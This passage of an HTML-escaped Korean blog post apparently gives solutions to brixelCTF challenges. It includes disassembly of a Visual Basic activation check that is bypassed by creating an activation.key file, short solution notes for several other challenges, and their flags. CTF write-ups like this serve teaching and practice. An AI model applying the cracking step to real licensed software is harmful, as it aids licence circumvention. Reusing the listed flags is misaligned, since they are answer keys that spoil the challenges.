#666666;&quot;&gt;.text:00402BB2&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;call&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;ds&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ff5afd;&quot;&gt;__vbaVarDup&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BB8&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;lea&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;edx&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #73adad;&quot;&gt;ebp&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ff8000;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;]&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BBB&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;push&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;ebx&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffc5f3;&quot;&gt;;&amp;nbsp;attributes&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BBC&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;push&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;edx&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffc5f3;&quot;&gt;;&amp;nbsp;path&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BBD&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;call&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;ds&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ff5afd;&quot;&gt;rtcDir&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BC3&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;mov&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;edx&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;eax&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffc5f3;&quot;&gt;;&amp;nbsp;src&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BC5&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;lea&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;ecx&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #73adad;&quot;&gt;ebp&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ff8000;&quot;&gt;dst&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;]&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffc5f3;&quot;&gt;;&amp;nbsp;dst&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BC8&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;call&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;ds&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ff5afd;&quot;&gt;__vbaStrMove&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BCE&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;push&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;eax&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffc5f3;&quot;&gt;;&amp;nbsp;_DWORD&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BCF&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;push&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;offset&amp;nbsp;&lt;span style=&quot;color: #ebebb9;&quot;&gt;dword_401BFC&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ffc5f3;&quot;&gt;;&amp;nbsp;_DWORD&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BD4&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;call&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;ds&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ff5afd;&quot;&gt;__vbaStrCmp&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BDA&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;mov&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;edi&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;eax&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BDC&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;lea&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;ecx&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #73adad;&quot;&gt;ebp&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ff8000;&quot;&gt;dst&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;]&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BDF&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;neg&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;edi&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BE1&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;sbb&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;edi&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;edi&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BE3&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;neg&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;edi&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BE5&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;neg&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;edi&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BE7&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;call&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;ds&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ff5afd;&quot;&gt;__vbaFreeStr&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BED&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;lea&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;ecx&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #73adad;&quot;&gt;ebp&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ff8000;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;]&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BF0&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;call&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;ds&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ff5afd;&quot;&gt;__vbaFreeVar&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BF6&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;mov&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;eax&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #73adad;&quot;&gt;esi&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;]&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BF8&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;cmp&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;di&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;bx&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BFB&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;push&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;esi&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BFC&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;jz&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffd200;&quot;&gt;loc_402CA9&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VB internal function에 대해서는 &lt;a href=&quot;https://docs.broadcom.com/doc/w32-changeup-12-en&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드를 요약하면, &lt;code&gt;Dir(&quot;activation.key&quot;)&lt;/code&gt; 를 호출하고 반환값을 길이가 0인 문자열과 비교해서 같다면 0x402CA9로 점프한다. 0x402CA9는 활성화가 실패했다는 로직을 포함하므로 &lt;code&gt;Dir&lt;/code&gt; 함수의 반환값은 길이가 0이 아닌 문자열이 되어야 한다. 이는 프로그램 위치에 activation.key 파일을 하나 만들어 주는 것으로 해결할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 생성 후 프로그램을 실행하면 플래그를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;257&quot; height=&quot;NaN&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/duibDD/btqROegjxJT/bp7KsRqAsMKAWiX7w7sNY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/duibDD/btqROegjxJT/bp7KsRqAsMKAWiX7w7sNY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/duibDD/btqROegjxJT/bp7KsRqAsMKAWiX7w7sNY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FduibDD%2FbtqROegjxJT%2Fbp7KsRqAsMKAWiX7w7sNY1%2Fimg.png&quot; width=&quot;257&quot; height=&quot;NaN&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{f1l34cc3ss}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Reverse engineering / cracking :: android app&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jadx에서 appinventor.ai_kevin_erna.brixelCTF.Screen1 클래스 열면 &lt;code&gt;Button1$Click&lt;/code&gt; 메소드에 플래그가 그대로 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{th3_4ndr0ids_y0u_4r3_l00k1ng_f0r}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Old tech :: punchcard&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://laighside.com/punchcard.htm&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://laighside.com/punchcard.htm&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: BRIXELCTF(M41NFR4M3)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Old tech :: Goodbye old friend&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/jindrapetrik/jpexs-decompiler&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/jindrapetrik/jpexs-decompiler&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{n0_m0r3_5upp0rt}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Old tech :: The tape&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;wavprg로 테이프를 프로그램으로 변환한 뒤 CCS64에서 에뮬레이션하면 플래그가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;577&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tY3Xy/btqRTSw7sRr/bHisI8rarWMvWT85z0QEDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tY3Xy/btqRTSw7sRr/bHisI8rarWMvWT85z0QEDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tY3Xy/btqRTSw7sRr/bHisI8rarWMvWT85z0QEDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtY3Xy%2FbtqRTSw7sRr%2FbHisI8rarWMvWT85z0QEDK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;577&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: BASIC&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Cryptography :: Sea code&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;THE&amp;nbsp;FLAG&amp;nbsp;FOR&amp;nbsp;THIS&amp;nbsp;CHALLENGE&amp;nbsp;IS&amp;nbsp;SEAGULL&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: SEAGULL&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Cryptography :: Merde&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Vigen&amp;egrave;re cipher, key=confidentel&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
